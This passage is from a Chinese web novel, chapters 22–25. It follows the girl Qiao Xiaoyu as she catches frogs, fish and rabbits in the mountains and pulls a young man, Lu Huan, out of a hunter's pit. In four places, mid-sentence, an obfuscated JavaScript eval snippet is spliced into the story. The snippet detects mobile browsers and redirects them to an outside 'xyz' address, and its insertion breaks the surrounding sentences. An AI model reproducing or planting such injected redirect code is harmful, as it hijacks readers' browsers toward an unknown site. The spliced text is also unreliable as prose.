满山的苍翠倒映在清澄的溪水里，亦将乔小遇的衣裳浸染为绿，而因着她动作轻缓，整个人仿佛也融入了这空静的山景之中。 几缕从树隙间渗落而下的日光，被流淌的溪水搅碎成片片光斑，折映在乔小遇那张苍白的小脸上，竟平添了几分生动明媚，仿佛莹莹地泛着一层珠光。 “嘿！” 女孩儿朝光斑所落处一个猛扎，激起水花数星，直将她的头发给溅湿了去，可她此刻却是顾不得这些，只定定瞧着手里那只黑乎乎的、长得似癞□□一般的东西，琥珀色的眸子里渐泛出一抹奇异的光彩。 “哈哈……” 山壑里响起了一长串如银铃般清脆的笑声。 “原来是只石蚌！想来这条小溪的石壁里还藏着些，且将能寻到的都把它给摸回去。”乔小遇笑眯眯地道。 丑兮兮的石蚌眨巴着眼，显得十分惊惧，只一边又将乔小遇的手指紧勒住，似乎带了几分威胁的意思…… 乔小遇心下笑它蠢笨，愈不敢松开自己的手，只担心这石蚌重新跳回水里，再想去石壁里摸便要多费工夫了。 她往背篓里抽了根虎头草出来，小心翼翼地将石蚌缠住，才将它放进草篓子里。她心想着再多摸得几只，便把石蚌拴成一长串，让它们互相扯动着，若哪一只蓄了些力气想要跳跑离开，别的石蚌也会把它从半空中拉落而下…… 这般想着，乔小遇方才觉着此番野山林之行多了几分趣味。至少在目前看来，还未往深处走的她并未遇到过什么危险，是以她的心弦还算是放松的。 乔小遇在先前寻到石蚌的地方摸了两圈，并未找到其他的石蚌，但她并不气馁，只循水流翻过一处小石台…… 入她眼帘的，是一个半圆形的小水潭子，边缘处全是石缝，水深已能没过膝盖，而那水面上则断断续续泛起一些小泡来…… “敢情这潭子里躲了好几只石蚌呢。”乔小遇微微一笑，倒也不急着就下水去摸，只从溪边灌丛里寻了几根长木枝来，摞砌在水潭的缺口处，这才将裤腿卷高了些，准备下水。 这处水潭里的石蚌，因被阻了往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924351|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下游的逃路，竟被乔小遇给捉了个彻底！但瞧着被老虎草拴成一长串的黑石蚌，乔小遇心间愉悦感更甚。 她接着又往上摸了七八个水潭，竟没想那只用来装鱼的草篓子已被石蚌给装满了…… “这得再织几个草篓子了。”乔小遇擦了擦额间渗出的汗，回望了眼身后哗啦流动的溪水，只觉着心绪无比畅快。 日头渐偏移至人的头顶，乔小遇开始觉着腹中饥饿，然她心思微转，却不打算就此回去。 她将草篓子提到了溪边的灌木丛里放着，又撕了两把青松毛将草篓子口盖住，这才放心地朝小溪上游走去。 之后，乔小遇又在几个小水潭里瞧见了石蚌的影子，有几只甚至还被她惊得从身前跳过，可她并没有再继续抓，只暗暗记下是哪几个水潭…… 石台越来越高，石壁越来越滑…… 有两次，乔小遇还踩滑了掉进水中，一身衣裳皆被溅湿，而她却觉着此程辛苦并不白费！ 可瞧见在水中游动着的那两三条鱼了么？ 灰黑色的鱼尾在水中悠哉悠哉地摆动着，似不曾觉察到周边已有人来。乔小遇瞧着那几道投落在浅褐色的石板上的鱼影，不由得轻笑出声，“怎么办？看着这鱼影子，便已觉得鱼肉被我吃进肚子里了呢，实在是鲜嫩肥美得很……” 鱼不似石蚌离了水还能活一阵子，这便意味着她在将鱼抓上来之后，需直接宰了腌好。 “有些麻烦，好在我带了些盐巴。”乔小遇轻瘪了瘪嘴，且就着背篓里剩下的老虎草给织了个稍大些的草篓子，想放在流水的石隙处。 到底石台略高，乔小遇又从水里捡了几块平整的石头，摞叠在石隙处，才将草篓子放平稳。 “但想这鱼会不经意地往下游去……”乔小遇方作出这般设想，便又觉着自己想得太美，轻喃道：“兴许还得赶一赶才成，若实在不行，我便也只能下手抓了。” 至此，乔小遇对自己下午能做的事也算有了个底，这才背起篮子回去。 她没有将草篓子带回山洞，只放到了下山路口那处的溪水中，想着等要回家的时候，再把石蚌带回去。 浸在水中的石蚌复又得了几分生气，只不论它们怎么蹦跶，却也没法从草篓子里钻出来。乔小遇但瞧着这情状，眉眼处更显柔和。 “先尝尝味道也好。”乔小遇顾自呢喃，索性拿镰刀割了段紧拴了五只石蚌的老虎草下来，接着她转身从篮子里拿了长砍刀，…… 但看着岸边那几只石蚌各有各的爬行方向，以至于几乎停在原处没得挪窝，乔小遇不由得轻轻摇头。 砍刀利落，石蚌三角形的脑袋很快便离了身，而四条腿徒劳地蹬着——这本是一件沾了血腥气的事儿，可乔小遇却不知自己为何会有一种想笑的冲动。 没了脑袋的石蚌，趴在松毛上片刻后终于一动不动，便当人以为它已死透过去，拿来剥皮时，石蚌的四肢便又是一阵伸抽…… 23. 捉鱼逮兔 潺潺流动的溪水尽将血腥气冲散而尽，乔小遇这才站身起来，寻了几片干净的树叶将处理干净的石蚌包好，回到山洞去。 火焰升腾，被树棘穿作一串的石蚌渐弥散出一阵香味，乔小遇又往上头撒了些盐，那香味闻着便愈发浓烈了——偶有山风轻拂过，乔小遇直怀疑这香味便是被送至两三里外的山头也依旧能够闻见。 乔小遇还另烧了三个土豆，只那般全然为了裹腹的舌尖味道，远比不得鲜美的石蚌肉。 上次家里吃肉是什么时候呢？乔小遇想了想，才发觉这段记忆竟已那般久远，久远到她只能记起妹妹扒在桌边咽口水的情形了。 “好在回去后，家中便有鱼肉可吃了。”乔小遇慢慢地咀嚼着鲜嫩的石蚌肉，心下暗道。 虽然还要下几次水，免不了衣裳又要被湿透，可乔小遇不敢大意，在吃午饭的这小段时间里，还是就着火将衣裳烤了烤。她不想等自己回家后又染上风寒，既教家里人担心，又教自个儿受罪。 日头渐烈，乔小遇在山洞里织了两个稍微大些的草篓子后，才朝山下走去。 陆续又摸得半篓子石蚌，乔小遇才到了有鱼的那处小潭。 果然是她想得太美——乔小遇但瞥了眼那空无一物的草篓子，心下不由得为自己气笑，无奈地摇了摇头。 她人站在岸上，手里则拿了一截长木棍敲打水面，但想着能不下水便能把鱼惊得掉进草篓子里才好…… 不得不说，这法子确实顶用，野鱼也终于被她赶进去了两条，可潭中最为肥硕的那条竟似得吸过一口仙气般成了精，人往这边赶，它便往那边游，便快到顶头时，直接来个下潜，等水面安静了些才会浮上来。 乔小遇几番尝试依旧如此，可将她惹得心头毛躁，气哼道：“今儿可不论你怎么避，我都是要将你逮回去的。你既然这般地不想进我的草篓子，我便只能另寻法子了……” “我只担心这法子会让你死得更快。”乔小遇摊了摊手，索性在岸边坐下身来，用镰刀把手中的长棍削尖了些。 她还是下了水…… 但缓缓移动着那双因在潭中而变小了许多的脚丫子，乔小遇渐渐靠近了那条几已成了精的鱼儿…… 鲜红的血液在水中浸散开来，如同烟囱口冒出的青烟一般，竟只能由着微风托承住它原本就极为轻盈的重量。 乔小遇定定看着木棍被削尖的那端直将鱼腹穿透而进，她屏了许久的呼吸这才得舒了舒。 野鱼剧烈地摆动着尾巴，甩落的点点水星在阳光的照射下恍若珠玉般晶莹，直教乔小遇看呆了眼。 喜悦的笑容洋溢在她那张因天热而终于泛起了几分红润颜色的面颊上，像极了溪涧边那开得烂漫自在的丛丛野山茶。 “可终于被我抓到了！”乔小遇咧嘴轻笑，旋才伸手将野鱼从木棍上拨扯下来。 她继续朝溪流的上游走去…… 期间若遇到实在无法攀爬上去的石壁，乔小遇便从一旁的树林里穿行，只到底不得不绕了些远路，而头发也为此而弄得乱糟糟的，不知沾了多少枯叶在上面。 日渐西斜，山壑里也开始有阴影出现。 乔小遇坐在溪边，直到将草篓子里抓得的七八条鱼处理好之后，才稍稍直起身来，扭了扭酸疼的脖颈。 “明天便往山林深处走一走罢，若能抓到两只野兔子就更好了。”乔小遇抬眼瞥过暗沉的天色，沉吟说道。 她将处理好的鱼背回山洞，又捡了许多干木柴来，确定这些柴火足够她烧到明儿早上后，这才用小罐炖了一条稍小的野鱼吃。 为了稍稍去除些鱼肉里的腥味，乔小遇将她原用来泡水喝的腌菜给放了一撮进去——香味扑鼻而来，倒让她觉着腹中的饥饿感更甚了。 美美地饱餐而过，乔小遇歇了一会儿，又将自己明天许会用到的工具收拾出来。 她虽心念着要抓兔子，但家中并没有织网可用，而她亦不曾相借，便只能多花些力气，求着能遇上好运气——思来想去，便只有挖坑的法子相对可行。 这坑倒不是说随意挖的。 如山中猎人为了捕得虎豹豺猪之类的大型动物所挖的深坑，乔小遇是用不上的，且还多费工夫——到底她第一次离家夜宿，还是早些归家的好。 乔小遇在寻到兔子窝后，四下观察过周围的地形，这才在兔子窝旁边的山坡上定点设伏。 她注意到，这处山坡绿草遍及，在靠近山脚的地方有一条由雨水冲刷出的斜沟，而人若是在上头站着略看，是很难发现这条被山草遮掩住的小水沟的。 乔小遇提了锄头，寻了几处树距稍宽的缺口所迎对的方向，将斜沟挖深、挖宽了些……但看着黄泥明显，乔小遇复又割了些山草，将这些痕迹遮掩住。 便这般听来不过三言两句的述说，乔小遇却足足倒腾到了中午。 就着早晨时烧好的土豆吃了，乔小遇方才觉着周身恢复了几分力气。之后，她顾自拿了长棍，朝兔子窝的方向走去。 都道狡兔三窟，而乔小遇在山上所寻到的兔子窝却有五六处之多。 但瞧着树根旁那些只如黑豆般大小的兔子屎，乔小遇扯过一片稍微宽厚的草叶来，将兔子屎卷入其中轻捏了捏，嘴角不由得轻扬了扬，道：“还很潮湿……” “且这处山头，兔子屎随处可见，许是有好几窝的。”乔小遇轻敛了敛眉，神色微微凝顿，取而代之是一种尽心竭力的专注。 木棍打过兔子窝边的草，便会有兔子窜出，乔小遇每次只专门追了一只野兔子朝她设伏的方向跑，并不念多，因为她知晓野兔掉落在泥坑里的时间，仅够她冲将上来并将兔子“敲”晕过去。 值得一提的是，乔小遇将兔子“敲”晕过去的手法极为粗|暴|干脆——只怕野兔重新挣脱开去，她是直接紧揪住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924352|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了兔子后腿，便把兔脑袋往地上狠砸去的，而若是砸了几下后那兔子依旧没有昏过去，乔小遇便会急跳出坑，将兔头砸向一旁的粗树干。 几窝的兔子，乔小遇终不过抓得五只——便仅如此，此行已算得是收获颇丰了。若再多，她仅就一个人，没法全背回家去。 活物到底会贵些——当乔小遇尽将那五只兔子背回山洞后，且看着他们挣扎着想从绳结里逃脱的急迫模样，心下不得轻叹了口气。 “篮子里若是全装了活兔子，那石蚌和鱼还怎么放？”乔小遇此刻只恨不得自家是赶了牛车来的，而牛车上还顺载了几个大竹筐子…… 无法，她只能让那几只兔子再遭一回砸头的痛楚。 许是石壁坚硬，此番野兔子在乔小遇手中并没有得挣的机会，但凡在石壁上碰砸过两三下后，便径直晕了过去。 因念着这野兔毛兴许也能换些铜钱，乔小遇这兔子皮可算是剥得小心翼翼——她尽量使边缘齐整些，褪下的皮毛也都是一整块的…… “待回家说服了爹下次与我一同进山来，便能多抓几只野兔了，得了的兔皮也可留几张在家里，让娘给妹妹做几双鞋子，又或是缝件小褂也成。”乔小遇这般想着，心底渐泛起一丝甜意。 下山的路并不好走，即便乔小遇在此前上下折绕的过程中，已着意用木棍扒过那些覆在道上的松毛，可到底她此番负重，便只得轻扶了陡径两边的松树，慢步挪移，谨防了摔跤。 到了溪边，乔小遇径将篮子里的那几只已被她剥了皮的兔子提将出来，仔细地就着溪水将兔肉剖肚去头，处理干净后，复又回到山洞。 因日头还未下山，且她抓野兔的地方距山洞所在之处也不过隔了一个山头，乔小遇原本所想的“往山林深处走一走”终究未落到实处，是以她还想探一探周围的环境。 “若是能寻到个野鸡窝便好了……”乔小遇轻喃出声，而旋即却又忍不住摇头失笑，暗道自己贪心不足。只如果真有这样的运气，乔小遇怕是无论如何也要逮住那野鸡，将它带回去的。 届时面对那整篮子的兔肉鱼肉，她也只会选择以这样的方式“怂恿”自己，“这草篓子还是太小了，装的东西并不多，且那野鱼野兔已不是活物，就算被腌过存放，谁知道能卖多少钱？这野鸡既已被我遇上，我便是用手将它抱回家去，也断没有放它飞走的道理。” 但想及自己能满手捧着铜钱的情景，乔小遇便觉着无论那野鸡朝自己的手臂和裤腿上拉多少秽物，她也是能够忍受的……也不仅仅野鸡，旁的不咬人的活物也都可以。 两日里的辛苦成果，终在不知不觉间，令已受惯了困苦生活的乔小遇激生出了一种能随时将脸豁出去的“勇气”。 即便她已能想象到自己会遍身遭污，负重难行——乔小遇须得承认，她的理智与分寸，已在她把篮子提将起来试试重量的那一刻，通通化为了齑粉。 24. 落坑求救 乔小遇割了些老虎草，将其平铺在洞中的一处石台上，以置放那些处理过的野物，接着便又背着腾空的篮子出去了。 山面亮暗不同，她提着心神，只从视线宽阔的高处走过。 瞧着山形环绕，碧色流淌，教人觉着身心疏阔的同时，却也有几分空荡的可惧感。乔小遇连走了四五处山头，一边仔细捡着能吃的菌子，只远听着前方那片浓密的树林当中传来阵阵似猪嚎的声音后，终才打算折路回返。 “野山林多年未有人迹踏至，没想野物已长了这么多。” 乔小遇看了眼那些她所拾得的已将篮子底遮覆完全的菌子，接着远眺道：“那边地界最好还是不要去了……” 在她的设想中，便照着牛疫如今蔓延的势头，乔家村已避不了多久。届时，若官府下令封山，便不论山中野物是否有染上瘟疫，为生计所愁的村民就算把视线投向危险重重的野山林，也再不得进山的机会。 更有一点，需得提上一提——乔家村的人可无论他们所守着的山林究竟如何贫薄，都只会将其视为命根子一般死守抱住，若村中有家畜尸体需要掩埋，隔了几十里地的野山林便会成为他们“最好的选择”。 又或者说，这种选择在他们看来也是理所应当的。 “最多再有半月……”乔小遇凝眉轻叹，心绪渐沉。她终究不确定，半个月的时间已足够家里做好充分的应对，并能与之后无粮可收的数月相抵。 这种时候，“家中还有两块玉米地”与“家中只有两块玉米地”的两种表述的区别便显而易见了。 且瞧着坡地上那长得并不粗实的玉米丛，叶片不是黄斑遍生，就是被夏日的冰雹打得絮絮柳柳……对村里的大多数人家而言，今年的玉米收成定不会好。 定不会好，那么这掰玉米的过程便与挖土豆一般难以让人萌生出所谓的喜悦感了。待家家户户衡量过玉米堆在楼板上的占宽大小，心头对牛疫的恐慌感只会更甚。 “天将黑了，还是明早上再回家吧。”乔小遇远眺而望，眸光仿佛与轻落在山头的那抹橘黄色融在了一处，而她眼底的那股热切神色也随之减淡了几分。 乔小遇低俯了身，方欲提起篮子，却不妨一道道断断续续的闷吼声传进了她耳中…… 这声音似乎与她先前在山顶处所听见的猪嚎声并不一样？乔小遇想要仔细听辨，然山风啸啸，她始终听不真切。 “要不上前看看？”乔小遇紧抿了唇，已往回路走了两步的她终还是顿住了脚。 她深吸了一大口气，旋才试着往声音传来的方向走去。待近了些，乔小遇可终于听了个分明：那声音是有人在急呼救命！ “莫不是进山里打猎的？” 乔小遇稍稍探出她那隐在粗松树后头的半边身体，苍寡的小脸上略显犹豫之色，凝声道：“可若连猎户都身陷险境，莫非是遇到了什么虎豺之兽？” 天已快要黑下来了……她终究不能把一个受困的人留在这野山林深处——若等夜色尽将山头染过，那人所面临的情形必将更为危险。 乔小遇咬了咬唇，只得将手里的镰刀和绳套拿紧了些，一边留意着周围的动静，一边则轻步往那呼救声传来的方向走去。 远远的，乔小遇便瞧见前边那处略显宽阔的凹地上站了一匹大黑马…… “这什么情况？”但看那黑马打着响鼻，焦躁地来回走动，只怎么也不离开那处地方，乔小遇不由得皱了皱眉。 她很确定的是，呼救的人就在那处。 人声渐哑，疾呼声便也跟着停了下来，取而代之的是一阵细碎的嘀咕声——当然，这嘀咕声乔小遇是听不见的。 “黑风你这蠢马，你说你在这干守着我有什么用呢？”坐在坑底的陆桓费劲地抬了抬眼皮，但瞧着渐暗下来的天色，不禁苦涩一笑。 “便说叫你回村里找人来救你家少爷我吧，可你这蠢马却什么都听不懂。天快黑了，我已然不指望你了，便叫你快些逃命去，你却还在这里干巴巴地守着我，简直是蠢得无可救药！” “待晚间那些个虎豹之兽出来觅食，你这肥马怕是要被啃得骨头渣都不剩……” 陆桓听着黑风那不屑的响鼻声，干裂的嘴皮抽动了动，又跟着低骂了句：“马是蠢马！人也是蠢人！” 陆桓已掉在坑中整整一个白间，不曾进过半点水米，此刻已然是疲惫无力。 他终于停了碎骂声……只如此，心头的思绪却是愈发繁杂了。 陆桓心想，今日果真是个喜庆日子，适合锣鼓阵喧，嫁娶结亲，也适合一个人静思坐想——倘若忽略此间所在是猎户为了捕猎所设的一个深坑，也忽略深坑周遭的土壁太过光滑，他连试几回也爬不上的事实的的话。 他唯一有些庆幸的是，这深坑已多年未用，设在坑底的那些为了扎伤野兽的木桩子，早都被人撤了去，否则他这一跤栽下来，还不得被扎成个血糊糊的筛子？却是连嚎这一日的工夫也是没有的…… 陆桓将头往后仰了仰，感受着土壁上迅速流失的余温，只觉得心口处一阵泛凉，仿佛夜色已提前笼罩而下。 “兴许还能熬上个两三天，可若是一直没有人进山，我当怎么办？母亲或许还以为我是闹去舅舅家阻了不让表妹出嫁……谁承想我竟是进了山来，这荒山野林的，我也未曾与娘亲打过招呼，倒教人怎么找？” 陆桓微沉的视线定定凝在身前那只已被他剥了皮的死麕上，不禁自嘲轻笑。 这只山麕是被他射杀的，可眼下却是要他与这山麕死在一处了…… 覆了许多干枝落叶的坑洞口很难教人看出痕迹，倒地挣扎的山麕亦被这些干枝腾架着，不曾掉落下去——而陆桓因此心生大意，只当他兴奋地跳下马，跑过来捡山麕时，不妨竟一同掉进了这深坑之中。 糟糕的是，他的弓箭都留在了深坑外头，便连那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924353|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支射|入山麕腹部的箭也已经被折断，待他拔|将出来时，箭镞已紧被麕骨塞住了…… 一根断裂的箭稿，与身下的枯树枝能有什么区别？用箭头凿壁的想法终是不切实际，可陆桓周边并无什么能用的东西。如此，就算还留得一口气在，也直似走到了山穷水尽的地步！ 思绪纷乱间，陆桓却依稀听得坑洞上头的黑风连打响鼻，马蹄来回踩在落叶上，似乎有什么特别的情况？而与此同时，一道与马蹄落声的节奏并不一致的脚步声，亦踩得枯叶嘎吱作响…… “谁？”陆桓低呼出声，身体不自觉地朝土壁紧靠了靠，心下是不安与希冀相相交杂。 但愿不是野兽前来…… 原本口渴难耐的陆桓，此时口腔内壁却莫名激生出些了冷唾，而随着他喉结轻动，这口冷唾便被他吞入腹中……陆桓的呼吸变得愈发地紧促起来。 “啊！”坑口处轻探出乔小遇那张病白的小脸，便且这般不妨地迎上陆桓那鼓胀微凸的眼球，她不由得尖呼出声。 陆桓气笑，朝坑洞上方喊道：“我还活着呢！”他的精神终为之一振。 便似久旱之际得遇甘霖般，陆桓嘴角轻扬了扬，旋才试着用手撑着土壁站起身来。 听得人声的乔小遇重新趴回洞口，见陆桓满身血迹，而身旁还躺着一头死去的野兽，唇齿因惊骇而不由得颤了颤。 “你可有受伤？”她的声音紧瑟而微弱，倒似掉落在这坑中的人是她一般。 陆桓微抬了眼，缓声道：“不曾……我只是快没什么力气了。” “山中无人，你喊了这么久，怎么可能不虚脱？”乔小遇抿了抿唇，凝眉寻想着法子救人出来。 陆桓听着乔小遇话中的指责之意，嘴角微瘪，旋又低笑出声，道：“山中哪里无人，你不是么？” “可只有我一个。”乔小遇敛眉说道，一边目光警惕地四下环顾着。 “你一个小姑娘，竟也敢独自一人进山？”陆桓的神情有些惊愕，眸底的那抹明亮之色渐又变得黯淡下来，便如暮日沉山，林中光色渐消…… 寄望于她，依旧有些不切实际，可到底比黑风那厮要靠谱许多了不是么？ 陆桓作出一副洒脱模样，摇头轻笑道：“只有你一个也足够了。你若不怕天色渐黑，林中偶有野物出没，便坐在上头与我说说话。” 他口中泛涩，语气却是平缓异常，又道：“你若心惧，便替我将那掉落在凹地里的弓箭丢下来，然后骑了黑风去陆家……去盛家庄帮我报信。盛家庄距此处不过二十多里地，舅舅他们得了音信，便会派人来寻我。” 有了弓箭，便是夜里有野物靠近此间，他也有能力自保，且用箭头划过土壁，兴许不必等人来救，他也自能爬上去了。 “可我不会骑马。”乔小遇回头瞥了眼那膘肥体壮的大黑马，接着对陆桓说道：“且我并不打算坐在这里陪你说话谈天……” 25. 山麕求亲 陆桓闻言扬了扬眉，目光定定地看向乔小遇，默然着不知该说什么为好。 “你这黑马脾气怎么样？” 陆桓以为乔小遇改了主意，话音愈显得平和地道：“蠢马哪里有什么脾气，是个人许都能将它牵走。” 乔小遇亲“嗯”了声，接着折过了身。 眼见着女孩儿的身形消失，陆桓掀了掀眼皮，忙出声喊道：“你这便走了？你且快些带人回来……不是，你且先回来，我那马背上有个水囊，你且将它与弓箭一并丢下来啊！” 陆桓说这话时，直觉着嗓子眼处的肉壁因缺水而黏作一处，而随着气声上涌，竟生出一种被撕扯的剧痛感。 到底是个陌生人…… 陆桓忽而存了一种担忧，便怕来人只寻思着将黑风牵走，却不见得愿意去盛家庄帮忙报信。如此，那还不如告诉这个陌生人，黑风脾气暴烈，生人难以靠近。 逢得生机，后才对人心存防备——且听着黑风不安地在原地踱行的蹄声，陆桓心思渐沉，“牵走了也好，省得这蠢马被野物咬死……” “噗通！” 陆桓为这一道打落在枯木枝叶上的声音吸引过去，不想竟是一条绳子，他的眸色不由得亮了起来，抬头对乔小遇问道：“你竟然带了绳子？怎么不早说？” “我还带了锄头……若你不想让我拉你上来，锄头也是可以留给你的。”乔小遇蹲在土坑边缘，话音不急不缓地道；“只不知你还存了多少力气，等你在这土壁上挖开几个坑口后，是否还能撑着爬上来。” 她的神色一本正经，然语气戏谑，陆桓又怎么可能听不出来？ 陆桓皱眉道：“可你怎么拉得动我？” “这人可是个痴的？”乔小遇心中狐疑着，然眉间笑意愈盛，直问陆桓道：“你既呼声求人救命，等人来了却只想着自救，这算怎么一回事？” 但瞧着少年怔怔出神的模样，乔小遇伸手摇了摇绳子，将少年的思绪拉将回来，“你且用绳子拴住身体，待会儿绳子轻动，便试着蹬下土壁，别让绳子把自己勒伤……” 乔小遇说完便又折身回返，陆桓也不知她究竟想做什么。 “好了么？” “稍等。”陆桓应了声，垂目瞥过已围过自己半圈腰身的绳子，手中动作忽又顿住，接着竟将他先前所剥下的那块麕皮给拿上，这才系紧了绳子，对乔小遇说道：“可以了。” 不过两个呼吸，陆桓没想自己竟已被拉出坑底！ “这姑娘瞧着弱不禁风，怎么会有这样大的力气？”陆桓心头正惊疑着，可待他瞧见绳子的另一头竟是系在黑风脖子上的，一时不由轻笑出声。 因这一声轻笑，马蹄骤停时陆桓摔落在地，口中可不知吸进了多少灰土泥渣。 乔小遇回头看了眼他那般狼狈模样，低头极力忍笑。她将绳套从黑风脖子上取下，试着轻轻挠过马颈处，不想黑风竟亲昵地朝她靠了靠…… “这马怎么是蠢的呢？你掉坑时，它都不曾舍得离开。”乔小遇偏头看了看陆桓，旋才牵着得黑风朝他走来。 乔小遇将马背上的水囊解下来，递给陆桓，问道：“你竟是一个人进山的？” “你既进得，我又怎么进不得？”陆桓轻笑，紧将自己口中的泥吐出去后，连灌了几大口水，才觉着力气恢复了些。他简要地提了两句自己为何会掉落在坑里的原因后，旋即拾起身旁的麕皮，对乔小遇说道：“咱们走吧。” 可乔小遇却顿住了脚步，视线从他手里的麕皮上掠过，接着问道：“那土坑里的山麕你不要了？” 陆桓摇了摇头，僵沉的视线侧到一旁。 “你怎么舍得……”乔小遇话音微转，眼中复又浮上喜意，“你若不要了，那便留给我，可行？” 她见陆桓默不出声，便当他已然允下，只不好意思叫陆桓再次下坑，便道：“你且在上头等我一等，待我将麕肉捆缚住，你便帮我接应下，可好？” 话音轻落，乔小遇便要伸手去拿陆桓手里的绳套…… “天已擦黑，再耽搁下去我们都会有危险，麕肉不要也罢。” 陆桓话音微沉，眸中情绪翻涌，但瞧着乔小遇面上依旧一副流连之色，淡声补充道：“那山麕被我剥了皮后，已招惹来了不少虫蚁，加之烈日暴晒，已要不成了。” 闻言，乔小遇不由得颓丧起来，目光重新落在陆桓手头提着的麕皮上…… “这个我不能给你。”陆桓凝声说道。 “我也没向你要啊……何况为了这头山麕你冒了这样大的风险，我又怎么好开口。” 乔小遇抿了抿唇，见陆桓那张因被污泥与血迹遮染住而看不清容貌的脸上漾起一抹促狭笑意，喃喃说道：“可惜那头被你丢弃的山麕，如何也能卖五两银子的。” 丢弃？ 陆桓闻言，眸中闪过一丝不自在…… “你家中缺钱使？”他轻缩了缩瞳孔，不妨乔小遇竟轻点了点头——那般坦然的模样，全然不曾意识到当中问题便也罢了，偏还觉着“缺钱使”的情形并没有什么遮掩的必要。 陆桓语塞片刻，才又凝眉说道：“便是缺钱使，那头山麕你也不好得带回家去……走吧。” 一旁的黑风亦扬了前蹄，甩了甩后颈处的鬓毛，似乎在催促乔小遇快些离开。 “怎么说丢就丢了呢……”一路上，乔小遇心下依旧忍不住暗暗嘀咕，连瞅了几次坐在马背上的陆桓。 见此情状，陆桓心间有些忍不住发笑，问道：“你真不打算上来骑马？” “我不会……你且自己骑吧。”乔小遇但瞥过陆桓衣裳上所沾的那些鲜血，皱眉拒绝道：“我若身上沾了血迹，待归家时教我爹娘瞧见，可不知道怎么个慌法呢。” 陆桓不再相劝，只翻身下马，将乔小遇的篮子提到马背上挂着，道：“这样能走快些。” 乔小遇身上一松，心知他是好意，便也没说什么推辞之语。 两人路上又说了些话，渐多了几分熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924354|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你家是盛家庄的？又怎么姓陆？”乔小遇抬眼问陆桓道。 “我何时说过自己是盛家庄的？”陆桓自嘲道：“盛家庄是我舅舅家所在之处，只今后与我陆桓却是没什么牵扯了……” 他这话有些奇怪，乔小遇轻抬了眼，见陆桓下颌处的线条分明，但却带了一种紧绷感，自知触碰到了人不愿多说的话题，于是转言道：“你一个人进山，便只是为了捕一头山麕？” 陆桓闻言轻“嗯”了声，黑沉的眸里似有什么碎裂了般，直刺人得紧…… “乔小遇，你难道不知山麕是时人求亲时所用的礼聘之物？”① “求亲？”乔小遇怔了怔眼，一时不知该如何应答。渐凉的空气中一阵沉默，乔小遇觉着十分尴尬，好在陆桓已重新侧过了脸去。 “当然，若是没有山麕，也可用羔羊代替……”陆桓淡笑着解释道。他后脊似修竹般挺直，缓随着轻扬的马蹄步子微微颤抖——然在他斜后方的乔小遇眼瞧着这情形，却知陆桓定在取笑她。 她才来这地方多久，哪里打听过这些东西？ 乔小遇捂了捂脸，苍白的面上不由得浮起一抹羞窘之色——所以她方才，竟还想让人把用来求亲的麕肉送给自己？ “所以你来射山麕，是想对哪家姑娘求亲么？麕皮也可替了那麕肉是么？”乔小遇话音轻扬。 陆桓后脊一僵，继续驭马超前走了一小段路，才出言否认道：“这麕皮是我留给我娘补靴的……她那双短靴，是当初家父向盛家求娶母亲时所用的山麕皮做的，只她一直舍不得穿，不过闲时拿出来瞧上一瞧……” 陆桓在心里补充了一句“也算是睹物思人”的话后，才继续说道：“前两天我瞧着皴裂了，这才进山来，想为我娘寻上一头。” “原来如此……”乔小遇若有所思地点了点头，又道：“那你也是极孝顺了。” 陆桓涩然一笑，没有应话。 …… 两人终于回到了山洞。 乔小遇见陆桓并不拴马，而黑风径直便往老虎草的方向奔去，连忙低呼出声：“别吃那丛老虎草！” “一丛草罢了。”陆桓回头随意瞥过，却还是吹了声口哨，将那匹衔了团草在口中咀嚼不停的大黑马唤了过来。 “你不知道，山顶上的这片地方便只有这里有丛老虎草，我得用它来编草篓子……”乔小遇轻叹出声，瞧着黑风嚼得津津有味的模样，不禁气瞪了它一眼。 陆桓见状，不禁摇头失笑。他扯过马绳将其结短了些，确定黑风不会因此而被绊到，才拍了拍黑风的背，示意它下山寻草吃。 